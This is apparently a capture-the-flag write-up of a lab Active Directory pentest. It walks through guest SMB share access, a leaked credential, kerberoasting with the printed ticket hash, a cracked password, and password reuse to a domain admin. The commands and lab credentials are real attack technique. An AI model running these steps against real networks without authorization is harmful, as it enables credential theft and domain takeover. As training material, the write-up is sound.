Overview

The machine starts by enumerating SMB shares with guest access that reveals credentials for mprice, kerberoasting a service account to crack its password, and password reuse to an administrator account to dump domain hashes.

An adult beverage company "Martini Bars" recently had a corporate breach and the compliance and risk team dictates they perform a penetration test at one of their branch offices. The Hack Smarter team has been authorized to perform an internal black box pentest.

The client has provided you with VPN access to their internal network, but no credentials.

Enumeration

we start with nmap scan

SMB

First thing to look for is the SMB Guest account, if it is enabled and we're allowed to list shares or even better having access to one of them would be good

as you can see the share is enabled and we can read/write to the share notes

bash 
┌─[192.168.37.140]─[jimmex@attacker]─[~/HSM/martiniAD]
└──╼ [★]$ nxc smb dry.martini.bars -u 'Guest' -p '' --shares
SMB 10.1.240.18 445 DC01 [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:DRY.MARTINI.BARS) (signing:False) (SMBv1:
False) (Null Auth:True) (DC:True)
SMB 10.1.240.18 445 DC01 [+] DRY.MARTINI.BARS\Guest:
SMB 10.1.240.18 445 DC01 [*] Enumerated shares
SMB 10.1.240.18 445 DC01 Share Permissions Remark
SMB 10.1.240.18 445 DC01 ----- ----------- ------
SMB 10.1.240.18 445 DC01 ADMIN$ Remote Admin
SMB 10.1.240.18 445 DC01 C$ Default share
SMB 10.1.240.18 445 DC01 IPC$ READ Remote IPC
SMB 10.1.240.18 445 DC01 NETLOGON Logon server share
SMB 10.1.240.18 445 DC01 notes READ,WRITE
SMB 10.1.240.18 445 DC01 SYSVOL Logon server share

there isn't a lot here, just a file called notes. so let's see if it leaks anything sensitive, before we move on the abusing the write access

bash 
┌─[192.168.37.140]─[jimmex@attacker]─[~/HSM/martiniAD]
└──╼ [★]$ smbclient.py dry.martini.bars/Guest:''@10.1.240.18
Impacket v0.14.0.dev0+20260814.164800.c23b3d55 - Copyright Fortra, LLC and its affiliated companies

Password:
Type help for list of commands
# use notes
# ls
drw-rw-rw- 0 Tue Jan 20 13:11:00 2026 .
drw-rw-rw- 0 Sat Jan 17 11:38:33 2026 ..
-rw-rw-rw- 129 Tue Jan 20 13:11:00 2026 notes.txt
# get notes.txt
# exit

looking at the file, it has a credentials for the user mprice

bash 
┌─[192.168.37.140]─[jimmex@attacker]─[~/HSM/martiniAD]
└──╼ [★]$ cat notes.txt
- Order more gin for lakeside
- Look for an engagement ring
- Check that notes works from Linux Mint

creds

Access as mprice

validating the user against ldap

bash 
mprice:*martini*┌─[192.168.37.140]─[jimmex@attacker]─[~/HSM/martiniAD]
(failed reverse-i-search)`': xc^C
┌─[192.168.37.140]─[jimmex@attacker]─[~/HSM/martiniAD]
└──╼ [★]$ nxc ldap dry.martini.bars -u 'mprice' -p '*martini*'
LDAP 10.1.240.18 389 DC01 [*] Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:DRY.MARTINI.BARS) (signing:Enforced) (channel
 binding:No TLS cert)
LDAP 10.1.240.18 389 DC01 [+] DRY.MARTINI.BARS\mprice:*martini*

with a valid domain creds we can start collecting data for bloodhound, but for some reason it fails asking for a better security measures.

bash 
┌─[192.168.37.140]─[jimmex@attacker]─[~/HSM/martiniAD]
└──╼ [★]$ rusthound -i 10.1.240.18 -u mprice -p '*martini*' -d dry.martini.bars -z
---------------------------------------------------
Initializing RustHound at 04:40:53 on 08/21/26
Powered by g0h4n from OpenCyber
---------------------------------------------------

[2026-08-21T08:40:53Z INFO  rusthound] Verbosity level: Info
[2026-08-21T08:40:53Z ERROR rusthound::ldap] Failed to authenticate to DRY.MARTINI.BARS Active Directory. Reason: LDAP operation result: rc=8 (strongerAuthReq
uired), dn: "", text: "00002028: LdapErr: DSID-0C090347, comment: The server requires binds to turn on integrity checking if SSL\TLS are not already active on
 the connection, data 0, v65f4"

even after using --ldaps option for secure ldap it still failed which is weird, cause if the auth was the issue then nxc wouldn't work in the first place (specially that'll use it to do actual LDAP queries later and it still works) but it looked like intended behavior from the author to me so decided to move on

Access as Athena_SVC

we have to go blind in this environment, first thing to look for is there is any kerberostable accounts

Kerberoasting is a post-exploitation attack in Active Directory where an authenticated user requests a Kerberos service ticket (TGS) for a Service Principal Name (SPN). Because part of the ticket is encrypted with the target service account's password hash, the attacker can export and crack it offline using brute-force tools to steal plaintext credentials

one user has an SPN listed to his account, so we get a hash.

bash 
┌─[192.168.37.140]─[jimmex@attacker]─[~/HSM/martiniAD]
└──╼ [★]$ nxc ldap dry.martini.bars -u 'mprice' -p '*martini*' --kerberoast kerberoast.out
LDAP 10.1.240.18 389 DC01 [*] Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:DRY.MARTINI.BARS) (signing:Enforced) (channel
 binding:No TLS cert)
LDAP 10.1.240.18 389 DC01 [+] DRY.MARTINI.BARS\mprice:*martini*
LDAP 10.1.240.18 389 DC01 [*] Skipping disabled account: krbtgt
LDAP 10.1.240.18 389 DC01 [*] Total of records returned 1
LDAP 10.1.240.18 389 DC01 [*] sAMAccountName: ATHENA_SVC, memberOf: ['CN=Remote Management Users,CN=Builtin,DC=DRY,DC=MARTINI,DC=BAR
S', 'CN=Remote Desktop Users,CN=Builtin,DC=DRY,DC=MARTINI,DC=BARS' ], pwdLastSet: 2026-01-20 13:20:32.856622, lastLogon: < never>
LDAP 10.1.240.18 389 DC01 $krb5tgs$23$*ATHENA_SVC$DRY.MARTINI.BARS$DRY.MARTINI.BARS\ATHENA_SVC*$8a4fb656c86a33b48b93eb44764b767d$605
28ea190fd7a0f0a3806473e74c6ba7648098917a74d5cf8afebac54b3e81f41ad02d25a9eb08f5588a073e9f0b1f337008d7e8796a8efe0780e34fab2f6049baa69a1720e047fb7199177625b9fcb3
288c07b1881fc6578f2b8677c237ecf3ac3cf83b80c2a5ecd9ab9ff5ecbd4db1dbf2bb645dedb48865a92aad5cbe090059ae35d1849a240a897dc388cf326be58d4a742d7746af8bafa83d53752aaa
bab9d93b54b3e1a8e3c249ad1e857f71fa6a306b7becda60b58dc5e49e8cbabfc7b38c33f3fbe99b1214c27e115c64924d8540ea3d121ca465fc727d2c31a97bd9a82c9a51c4a04b68a72c8a491485
5ea34a15daceec013685233f1d79fc37972ed536b3d56445be3820086331c1d38c5fcd29dcff714b74573aad06abb174adc51eddd13124551e8481f403b5ef7b9ae192622f84cfa420187db75df3c9
6f5480cdae9b8a8b7e2df8eaaf601a8e284f5c3ee91f71d540fd20ff4926e9e5897702b3f1a54b3a88c224e948917bff5eb4dac679b2da1809b40b52d75c84ddb2fc9f690110b7fe6572bddc60b51d
49851888931ccf4f0c53ff86edb947ae771b34f5b6469f82855d3413911391557ffdbc233b694f23053697f7ab8b584ecda4a7af2b98552b8ff441df72b8cb5a51b0307c990fb45393e4657d4c0d3a
47305ede01f46ffa25c3ca24ecb5243e03368984e0f750201f69ec1dfded4ba91dfafe10ab3ea167bfa902fd933a8133f69a24c6ab33b72dbf7b747a674d699170e88ce5762df2befab861e7f324dd
0fc96cb7ee08ed7434a816e1f5ef782e935f03637a6ca9e2cbb14f6d2bcffce1c58f270219d2b571c9c23f02750e7d29734ad1b619d17e41854fbbd4ef9747b33c380fd4d04321e08c1d57bc97853a
a38350363426f055e7eec698897c7140a60331ba11db85bf22372f78b893ea7df7ac598423e361e08610eb37e95fbea186e5e70f2aa20435a1933a556e65b2195e200c954dee2285cab59f9d4789e0
cc9f7d82519fcf5794a0b8ea39ab57a561172ac5817d59c4b9e2d3db7da12698fb0f735572c898dd7a0e40dc2343bfe4ff010e90273853b145e494d7e650ac39d58a98c0b46527f2c1456d7de60adb
2002bb16669f449228c622d379a30a425f76baf7f52bce16f7cc2796d41fe3acbcbfffa23421c56fa56fbb45323f97fdc7f0e5a7363dbd6443132aa0577077b01d4704c73ba8bd0e71332cc8235e0a
dc61a8a68df2de23ccdc776cb3b741b26cab60861baae919b6f46a1fb919780afff14bd1b9785a0457d2606a57eac32966b0512f100a98cb198f00a0877d9228395e45066dc11c3135f6bc1631fc2b
b107dd86ab211f9d9360a8e1d309b106171476196ed88ca17a43292717f18a97b4bbad8c26ecfca8fcf494822bae6822591b4ed5e1a6eb1b84e44bbfd2f76029a1373cdd98c7d79ad5591ed90ea1d6
3cf7c8520aa5d3dcd0ebba608ee175a278bfe740381e568a8057c2ddfd5ac5af0ef17680791cd02eb4f8a

trying to crack the hash using hashcat returned the password for the user athena_svc

validating the user against ldap

bash 
┌─[192.168.37.140]─[jimmex@attacker]─[~/HSM/martiniAD]
└──╼ [★]$ nxc ldap dry.martini.bars -u 'athena_svc' -p '1dirtymartini'
LDAP 10.1.240.18 389 DC01 [*] Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:DRY.MARTINI.BARS) (signing:Enforced) (channel
 binding:No TLS cert)
LDAP 10.1.240.18 389 DC01 [+] DRY.MARTINI.BARS\athena_svc:1dirtymartini

At this point, I wanted to start looking for writable objects using bloodyAD and run dacledit to read DACLs but I wanted to know what are the groups on the box, users, service accounts, etc just to know what to query exactly and what to look for but when I did get a list of users I found another user called athena.t0

bash 
┌─[192.168.37.140]─[jimmex@attacker]─[~/HSM/martiniAD]
└──╼ [★]$ nxc ldap dry.martini.bars -u 'athena_svc' -p '1dirtymartini' --users
LDAP 10.1.240.18 389 DC01 [*] Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:DRY.MARTINI.BARS) (signing:Enforced) (channel
 binding:No TLS cert)
LDAP 10.1.240.18 389 DC01 [+] DRY.MARTINI.BARS\athena_svc:1dirtymartini
LDAP 10.1.240.18 389 DC01 [*] Enumerated 6 domain users: DRY.MARTINI.BARS
LDAP 10.1.240.18 389 DC01 -Username- -Last PW Set- -BadPW- -Description-

LDAP 10.1.240.18 389 DC01 Administrator 2026-01-12 11:00:19 2 Built-in account for administering the computer
/domain
LDAP 10.1.240.18 389 DC01 Guest < never> 0 Built-in account for guest access to the comput
er/domain
LDAP 10.1.240.18 389 DC01 krbtgt 2026-01-16 20:19:20 0 Key Distribution Center Service Account

LDAP 10.1.240.18 389 DC01 mprice 2026-01-17 11:40:55 0

LDAP 10.1.240.18 389 DC01 athena.t0 2026-01-20 13:20:44 0

LDAP 10.1.240.18 389 DC01 ATHENA_SVC 2026-01-20 13:20:32 0

Access as Athena.t0

Most of the users reuse their password, and because both accounts looked like they belong to Athena I suspected password reuse (in actual pentesting you password spray all the time even if you don't suspect anything nothing wrong with that)

So I tried to reuse athena_svc account's password with athena.t0 and it was actually valid, but the surprise that the user athena.t0 is an administrator meaning we can do whatever we need here.

bash 
┌─[192.168.37.140]─[jimmex@attacker]─[~/HSM/martiniAD]
└──╼ [★]$ nxc ldap dry.martini.bars -u 'athena.t0' -p '1dirtymartini'
LDAP 10.1.240.18 389 DC01 [*] Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:DRY.MARTINI.BARS) (signing:Enforced) (channel
 binding:No TLS cert)
LDAP 10.1.240.18 389 DC01 [+] DRY.MARTINI.BARS\athena.t0:1dirtymartini (Pwn3d!)

starting with domain credentials dump using secretsdump.py we dump the entire domain hashes

Path

Pasted image 20260821182455.png

Resources